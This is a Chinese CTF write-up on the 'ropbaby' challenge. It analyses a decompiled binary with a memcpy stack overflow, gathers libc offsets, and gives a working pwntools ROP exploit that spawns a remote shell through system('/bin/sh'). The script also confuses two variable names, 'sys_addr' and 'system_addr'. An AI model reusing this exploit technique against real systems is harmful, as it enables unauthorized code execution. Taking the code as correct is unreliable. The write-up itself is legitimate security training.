shiyanbar-ropbaby

之前去成都“参观”天府杯导致感冒,颓废了好几天。。
先看一下文件类型和程序保护
shiyanbar-ropbaby
文章图片

开了NX和PIE,栈不可执行和地址随机化,看来不能用shellcode了,就像题目提示的用ROP。(FORTIFY说是会对栈溢出进行保护,但是这里感觉没有体现出来)

__int64 __fastcall main(__int64 a1, char **a2, char **a3) { signed int v3; // eax unsigned __int64 v4; // r14 int v5; // er13 size_t v6; // r12 int v7; // eax void *handle; // [rsp+8h] [rbp-448h] char nptr[1088]; // [rsp+10h] [rbp-440h] __int64 savedregs; // [rsp+450h] [rbp+0h]setvbuf(stdout, 0LL, 2, 0LL); signal(14, handler); alarm(0x3Cu); puts("\nWelcome to an easy Return Oriented Programming challenge..."); puts("Menu:"); handle = dlopen("libc.so.6", 1); while ( 1 ) { while ( 1 ) { while ( 1 ) { while ( 1 ) { sub_BF7(); if ( !sub_B9A((__int64)nptr, 1024LL) ) { puts("Bad choice."); return 0LL; } v3 = strtol(nptr, 0LL, 10); if ( v3 != 2 ) break; __printf_chk(1LL, (__int64)"Enter symbol: "); if ( sub_B9A((__int64)nptr, 64LL) ) { dlsym(handle, nptr); __printf_chk(1LL, (__int64)"Symbol %s: 0x%016llX\n"); } else { puts("Bad symbol."); } } if ( v3 > 2 ) break; if ( v3 != 1 ) goto LABEL_24; __printf_chk(1LL, (__int64)"libc.so.6: 0x%016llX\n"); } if ( v3 != 3 ) break; __printf_chk(1LL, (__int64)"Enter bytes to send (max 1024): "); sub_B9A((__int64)nptr, 1024LL); v4 = (signed int)strtol(nptr, 0LL, 10); if ( v4 - 1 > 0x3FF ) { puts("Invalid amount."); } else { if ( v4 ) { v5 = 0; v6 = 0LL; while ( 1 ) { v7 = _IO_getc(stdin); if ( v7 == -1 ) break; nptr[v6] = v7; v6 = ++v5; if ( v4 <= v5 ) goto LABEL_22; } v6 = v5 + 1; } else { v6 = 0LL; } LABEL_22: memcpy(&savedregs, nptr, v6); //程序溢出点 } } if ( v3 == 4 ) break; LABEL_24: puts("Bad choice."); } dlclose(handle); puts("Exiting."); return 0LL; }

看完一遍ropbaby的函数结合运行程序,发现了 memcpy(&savedregs, nptr, v6),savedregs是_int64型,只有8字节的空间,而nptr有1088字节,这就造成了栈溢出。
通过运行程序可以了解到这个程序提供了三个功能:
1、得到libc基地址(感觉是假的,并没有用,还是我有什么地方没理解对吗?)
2、得到某个函数的地址(通过这个选项可以得到‘system’的地址,并且通过libc文件内system的偏移得到真正的libc加载的基地址)
3、输入你的payload的长度,然后把payload赋值给savedregs
知道这几个功能,我们就能大致构造payload了,通过栈溢出执行system('/bin/sh')
32位的程序用的是栈内的参数,而64位程序则优先用rdi,rsi,rdx,rcx,r8,r9这六个寄存器来传参,所以为了给system函数传入‘/bin/sh’,就需要找到一个pop rdi;ret的gadget(ROP链就是用各种程序中已有的小程序gadget串在一起实现自己想要的功能,这一个题目里只需要用到一个参数,所以只用到一个gadget——pop rdi;ret)
可以用ROPgadget来找到这一个gadget
ROPgadget --binary libc-2.23.so--only "pop|ret" //只展现一小段结果 0x0000000000020256 : pop rdi ; pop rbp ; ret 0x0000000000021102 : pop rdi ; ret//这一段就是我们要的gadget,偏移量是0x21102 0x0000000000067499 : pop rdi ; ret 0xffff

接着就是要向栈内再存放一个/bin/sh的地址,可以在IDA里查找字符串,也可以直接用strings
strings -tx libc-2.23.so |grep '/bin/sh' 18cd17 /bin/sh//偏移量是18cd17

【shiyanbar-ropbaby】为了计算libc的基地址,需要system的偏移量
objdump -T libc-2.23.so |grep 'system' 00000000001387d0 gDF .text 0000000000000046GLIBC_2.2.5 svcerr_systemerr 0000000000045390 gDF .text 000000000000002dGLIBC_PRIVATE __libc_system 0000000000045390wDF .text 000000000000002dGLIBC_2.2.5 system

得到system偏移量时0x45390
至今为止我们得到的都是libc内的偏移量,而不是实际函数或者字符串所在的地址,实际地址是libc在程序加载时的基地址+偏移量。
所以可以写EXP了
from pwn import *context(log_level = 'debug', arch = 'i386', os = 'linux')#32位还是64位的debug模式似乎没什么差别target= remote('106.2.25.7',8004) #target=process('./ropbaby')#本地测试target.recvuntil(':') target.recvuntil(':') target.sendline('2') target.recvuntil(':')target.sendline('system') target.recvuntil(':') sys_addr=int(target.recv(19),16)#这里":"之后还有一个空格,我一开始只接收18个字符,让我找了半小时 #bug。。。(空格+'0x'+16位地址=19)print "system_addr="+hex(system_addr)base_addr=system_addr-0x45390 #libc加载的基地址 print "base_addr="+hex(base_addr)bin_addr=0x18cd17 bin_addr=base_addr+bin_addr print "bin_addr="+hex(bin_addr)gaget_addr=0x21102 gaget_addr=base_addr+gaget_addr print "gaget_addr="+hex(gaget_addr) payload = 'a'*8 + p64(gaget_addr) + p64(bin_addr) + p64(system_addr)print target.recvuntil(':') print "-------------------------------------------------------------" target.sendline("3") target.recvuntil(':') target.sendline('32') print payload target.sendline(payload)target.interactive()

最后flag在home目录下
参考了http://wzt.ac.cn/2018/04/02/ROP/ 这篇讲了很多基础

    推荐阅读